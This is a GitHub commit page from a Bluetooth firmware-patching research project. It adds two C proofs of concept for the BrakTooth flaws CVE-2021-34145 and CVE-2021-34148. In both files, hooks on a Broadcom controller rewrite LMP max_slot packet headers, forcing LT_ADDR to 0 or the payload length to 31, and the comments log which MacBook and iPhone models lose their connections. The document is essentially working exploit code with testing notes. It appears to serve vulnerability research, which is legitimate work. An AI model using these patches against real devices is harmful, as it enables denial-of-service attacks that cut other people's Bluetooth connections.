Skip to content

Commit

Permalink
braktooth testing / modem parameters
Browse files Browse the repository at this point in the history
  • Loading branch information
jiska2342 committed Dec 20, 2021
1 parent f073798 commit b2fc98f
Show file tree
Hide file tree
Showing 2 changed files with 392 additions and 0 deletions.
164 changes: 164 additions & 0 deletions projects/CYW20735B1/patch/CVE_2021_34145.c
Original file line number Diff line number Diff line change
@@ -0,0 +1,164 @@
/*
PoC for BrakTooth V13: Invalid Max Slot Type
(CVE-2021-34145).
The MacBook terminates all connections.
The iPhone 11+12 have the short hopping artifacts until the LMP
Detach, but no terminated connections.
Testing on a packet-level against the MBP:
len=31: we still receive replies from the MBP but the MBP doesn't receive
follow-up messages from us.
TODO do we crash our own modem??
lt_addr=0: we still send messages but the MBP doesn't reply any more.
same effect as setting all off tx_pkt_info=0.
*/

#include <frankenstein/BCMBT/patching/patchram.h>
#include <frankenstein/BCMBT/patching/hciio.h>
#include <frankenstein/hook.h>


void bcs_dmaTxEnable();
void lm_SendLmpMaxSlot();
void lm_SendLmpAutoRate();
void bcs_utilBbRxPktHdr(void *aclConn, int packet_header);
void bcs_utilBbRxPyldHdr(int payload_header, void *p_log);
void DHM_BasebandRx(int packet_header, void *payload);
void lm_LmpReceived(void *aclptr, void *payload);
void DHM_LMPTx(void *aclptr, void *lmp);


extern int tx_pkt_info;
extern int tx_pkt_pyld_hdr;

void lm_SendLmpMaxSlot_prehook(struct saved_regs *regs, void *arg);
void bcs_utilBbRxPktSetLength_prehook(struct saved_regs *regs, void *arg);
void bcs_utilBbRxPyldHdr_posthook(struct saved_regs *regs, void *arg);
void DHM_BasebandRx_prehook(struct saved_regs *regs, void *arg);
void lm_LmpReceived_prehook(struct saved_regs *regs, void *arg);
void DHM_LMPTx_prehook(struct saved_regs *regs, void *arg);



int counter = 0;
void bcs_dmaTxEnable_set_len(struct saved_regs *regs, void *arg) {
int len = (*(int *)(regs->r0 + 0x0a)>>3) & 0x3ff;
char *data = (char *)(*(int *)(regs->r0 + 0x10) & 0xfffffffc);

if (data[0] >> 1 != 0x2d) return; //max_slots
tx_pkt_info = (0b11010000) | (tx_pkt_info & 0xff00); // LT_ADDR = 0b000, Type = 0xa, Flow = 0b1, keep following 8 bit intact
// only set LT_ADDR to zero
//tx_pkt_info &= 0xfff8; // just setting the LT_ADDR to 0 has a similar effect on the modem as setting the len to 31...


//int set_len = 31; // TODO adjust LMP length here
//tx_pkt_pyld_hdr = (set_len << 3) | 0b111;

counter ++;
}


// the payload header routine accesses the packet header
void bcs_utilBbRxPyldHdr_posthook(struct saved_regs *regs, void *arg) {

char *packet_header = (char *)((int *)(regs->r0));

int lt_addr = packet_header[0] & 0b111;
int type = (packet_header[0] >> 3) & 0xf;
// not a NULL (0) or POLL (1) packet -> print info
// type 3: DM1 ACL
/*
if (type>1) {
print_var(lt_addr);
print_var(type);
print_var(packet_header[0]);
print_var(packet_header[1]);
print_var(tx_pkt_info); //TODO
} else {
print(type);
}
*/

}

// when we set the length we also have read the payload header
void bcs_utilBbRxPktSetLength_preehok(struct saved_regs *regs, void *arg) {

char *payload_header = (char *)((int *)(regs->r0+1));
int len = payload_header[0] >> 3;
print_var(len);
print_var(tx_pkt_info); //TODO

// test if this would cause overflows
//payload_header[0] = (31 << 3) | 0b111;
//print("rx len overwritten and set to 31\n");

}

int packet_header_old = 0;
void DHM_BasebandRx_prehook(struct saved_regs *regs, void *arg) {

//int packet_header = (*(int *)(regs->r0));
char *packet_header = (char *)((int *)(regs->r1+4));
char *payload = (char *)((int *)(regs->r2+4)); // as accessed by LMP
//if (packet_header[0] == packet_header_old) return;
//packet_header_old = packet_header[0];

//var hec = (packet_header & 0xff00)>>8
//packet_header &= 0xff; // we have an 1b header in this case

//print_var((opcode & 0xff)>>1);
print_var(packet_header[0]);
print_var(payload[0]);
}

// Print received LMP opcodes
// -> make sure target is not dead
void lm_LmpReceived_prehook(struct saved_regs *regs, void *arg) {
char *payload = (char *)((int *)(regs->r1+4));
print_var(payload[0]>>1);
}

void DHM_LMPTx_prehook(struct saved_regs *regs, void *arg) {
char *lmp_sent = (char *)((int *)(regs->r1+12));
print_var(lmp_sent[0]>>1);
}



int _start() {
print("Hello\n");
*(int*)0x318038 = rand();
add_hook(bcs_dmaTxEnable, bcs_dmaTxEnable_set_len, NULL, NULL);
//trace(lm_SendLmpMaxSlot, 1);
add_hook(lm_SendLmpMaxSlot, lm_SendLmpMaxSlot_prehook, NULL, NULL);
add_hook(bcs_utilBbRxPktSetLength, bcs_utilBbRxPktSetLength_preehok, NULL, NULL);
add_hook(bcs_utilBbRxPyldHdr, bcs_utilBbRxPyldHdr_posthook, NULL, NULL);
//add_hook(DHM_BasebandRx, DHM_BasebandRx_prehook, NULL, NULL);
add_hook(lm_LmpReceived, lm_LmpReceived_prehook, NULL, NULL);
add_hook(DHM_LMPTx, DHM_LMPTx_prehook, NULL, NULL);

trace(lm_SendLmpAutoRate, 1);
}

// just to have this info printed as hook confirmation
// needs to be here because BCS is time sensitive
void lm_SendLmpMaxSlot_prehook(struct saved_regs *regs, void *arg) {
print("lm_SendLmpMaxSlot, going to set length...\n");
}

void _fini() {
print("Goodbye cruel world\n");
print_ptr(counter);
print("\n");
for (int i=0; i < installed_hooks; i++) {
uninstall_hook(&hooks[i]);
}
}
228 changes: 228 additions & 0 deletions projects/CYW20735B1/patch/CVE_2021_34148.c
Original file line number Diff line number Diff line change
@@ -0,0 +1,228 @@
/*
PoC for BrakTooth V14: Max Slot Length Overflow
(CVE-2021-34148).
Current connection and other connections are terminated:
* macOS 11.5.2, MBP 2020, BCM4364B3
Against this chip, it doesn't matter if we set the length=31
in the max_slot or in the auto_rate message.
No effect:
* iOS 15B8, iPhone 12
* iOS 14.2.1, iPhone 12
* iOS 14.7.1, iPhone SE2020
* iOS 13.3, iPhone 11
* iOS 14.7, iPhone 8
* iPadOS 14.1, iPad Air 2020
Just the effect that for 1-2 seconds when connecting the
sound might stock, but that's "normal" until hopping is
negotiated I think.
*/

#include <frankenstein/BCMBT/patching/patchram.h>
#include <frankenstein/BCMBT/patching/hciio.h>
#include <frankenstein/hook.h>


void bcs_dmaTxEnable();
void lm_SendLmpMaxSlot();
void lm_SendLmpAutoRate();
void bcs_utilBbRxPktHdr();
void bcs_utilBbRxPyldHdr();
void DHM_BasebandRx();
void lm_LmpReceived();
void DHM_LMPTx();
void bcs_utilBbRxPyldCheck();


extern int tx_pkt_info;
extern int tx_pkt_pyld_hdr;

void lm_SendLmpMaxSlot_prehook(struct saved_regs *regs, void *arg);
void bcs_utilBbRxPktSetLength_prehook(struct saved_regs *regs, void *arg);
void bcs_utilBbRxPyldCheckprehook(struct saved_regs *regs, void *arg);
void bcs_utilBbRxPyldHdr_posthook(struct saved_regs *regs, void *arg);
void DHM_BasebandRx_prehook(struct saved_regs *regs, void *arg);
void lm_LmpReceived_prehook(struct saved_regs *regs, void *arg);
void DHM_LMPTx_prehook(struct saved_regs *regs, void *arg);


int dhm1_count = 0;
int dh31_count = 0;
int switch_to_dh31 = 0;

int counter = 0;
void bcs_dmaTxEnable_set_len(struct saved_regs *regs, void *arg) {
//int len = (*(int *)(regs->r0 + 0x0a)>>3) & 0x3ff;
char *data = (char *)(*(int *)(regs->r0 + 0x10) & 0xfffffffc);


//if (switch_to_dh31) {
// tx_pkt_info = (tx_pkt_info & 0b1111111110000111) | (8 << 3); // LT_ADDR = 0b000, Type = 0xa, Flow = 0b1, keep following 8 bit intact
//}

if (data[0] >> 1 != 0x2d) return; //max_slots
//if (data[0] >> 1 != 0x23) return; //auto_rate
//if (data[0] >> 1 != 0x33) return; //connection won't start
//if (data[0] >> 1 != 0x3c) return; //connection won't start
int* payload_header = (int *)(regs->r0 + 0x0a); // e.g. 0x010017
//*payload_header |= 0b11111000; // keep everything intact except from the length (=31)
//*payload_header |= 0b1010101000; // 3-DH1 up to 85 bytes

int len = 31;
tx_pkt_pyld_hdr = (tx_pkt_pyld_hdr & 0b11111111111111111111111100000111) | (len << 3);

// set the Type field to 8, since 3+8 are accepted as LMP
//tx_pkt_info = (tx_pkt_info & 0b1111111110000111) | (8 << 3); // LT_ADDR = 0b000, Type = 0xa, Flow = 0b1, keep following 8 bit intact
//switch_to_dh31 = 1;



// first 3 bits are LLID (=11) and Flow (=1), only set the length
// length=2 reduces transmitted payload to 2 bytes
// everything >17 seems to stop packet transmission
//int set_len = 31; // TODO adjust LMP length here
//tx_pkt_pyld_hdr = (set_len << 3) | 0b111;
//data[1] = 0x01; // set a different slot number
//01, 03 and 05 didn't change anything when testing the iPhone 11
counter ++;
}



// the payload header routine accesses the packet header
void bcs_utilBbRxPyldHdr_posthook(struct saved_regs *regs, void *arg) {

char *packet_header = (char *)((int *)(regs->r0));

int lt_addr = packet_header[0] & 0b111;
int type = (packet_header[0] >> 3) & 0xf;
// not a NULL (0) or POLL (1) packet -> print info
// type 3: DM1 ACL

// too many prints, just keep track of total number
if (type == 3) {
dhm1_count++;

if (dhm1_count % 30 == 0) {
print("+30 DM1 packets\n");
}
} else if (type == 8) {
dh31_count++;
if (dh31_count % 500 == 0) {
print("+500 DH3-1 packets\n");
}
}

/*
if (type>1) {
print_var(lt_addr);
print_var(type);
} else {
print(type);
}
*/




}

// when we set the length we also have read the payload header
void bcs_utilBbRxPktSetLength_preehok(struct saved_regs *regs, void *arg) {

print("set_length_prehook\n");

//int len = (*(int *)(regs->r0 + 4)>>3) & 0x3ff;
//print_var(len)

//print_var(l); // length doesn't make sense, neither pre nor post hook...

/*
char *packet_header = (char *)((int *)(regs->r0));
int type = (packet_header[0] >> 3) & 0xf;
char *payload_header = (char *)((int *)(regs->r0+1));
//int len = (payload_header[1]<<8 & payload_header[0]) & 0xe007;
if (type == 3) {
//print_var(len);
//print_var(payload_header[2]>>3);
print_var(dhm1_count);
dhm1_count= 0; //reset counter for packet type 3 (DHM1)
}
*/

// test if this would cause overflows
//payload_header[0] = (31 << 3) | 0b111;
//print("rx len overwritten and set to 31\n");

}

int packet_header_old = 0;
void DHM_BasebandRx_prehook(struct saved_regs *regs, void *arg) {

//int packet_header = (*(int *)(regs->r0));
char *packet_header = (char *)((int *)(regs->r1+4));
char *payload = (char *)((int *)(regs->r2+4)); // as accessed by LMP
//if (packet_header[0] == packet_header_old) return;
//packet_header_old = packet_header[0];

//var hec = (packet_header & 0xff00)>>8
//packet_header &= 0xff; // we have an 1b header in this case

//print_var((opcode & 0xff)>>1);
print_var(packet_header[0]);
print_var(payload[0]);
}

// Print received LMP opcodes
// -> make sure target is not dead
void lm_LmpReceived_prehook(struct saved_regs *regs, void *arg) {
char *payload = (char *)((int *)(regs->r1+4));
print_var(payload[0]>>1);
}

void DHM_LMPTx_prehook(struct saved_regs *regs, void *arg) {
char *lmp_sent = (char *)((int *)(regs->r1+12));
print_var(lmp_sent[0]>>1);
}



int _start() {
print("Hello\n");
//*(int*)0x318038 = rand(); // randomize MAC
add_hook(bcs_dmaTxEnable, bcs_dmaTxEnable_set_len, NULL, NULL);
//trace(lm_SendLmpMaxSlot, 1);
add_hook(lm_SendLmpMaxSlot, lm_SendLmpMaxSlot_prehook, NULL, NULL);
add_hook(bcs_utilBbRxPktSetLength, bcs_utilBbRxPktSetLength_preehok, NULL, NULL);
add_hook(bcs_utilBbRxPyldHdr, bcs_utilBbRxPyldHdr_posthook, NULL, NULL);
//add_hook(DHM_BasebandRx, DHM_BasebandRx_prehook, NULL, NULL);
add_hook(lm_LmpReceived, lm_LmpReceived_prehook, NULL, NULL);
add_hook(DHM_LMPTx, DHM_LMPTx_prehook, NULL, NULL);

trace(lm_SendLmpAutoRate, 1);
}

// just to have this info printed as hook confirmation
// needs to be here because BCS is time sensitive
void lm_SendLmpMaxSlot_prehook(struct saved_regs *regs, void *arg) {
print("lm_SendLmpMaxSlot, going to set length...\n");
}

void _fini() {
print("Goodbye cruel world\n");
print_ptr(counter);
print("\n");
for (int i=0; i < installed_hooks; i++) {
uninstall_hook(&hooks[i]);
}
}

0 comments on commit b2fc98f

Please sign in to comment.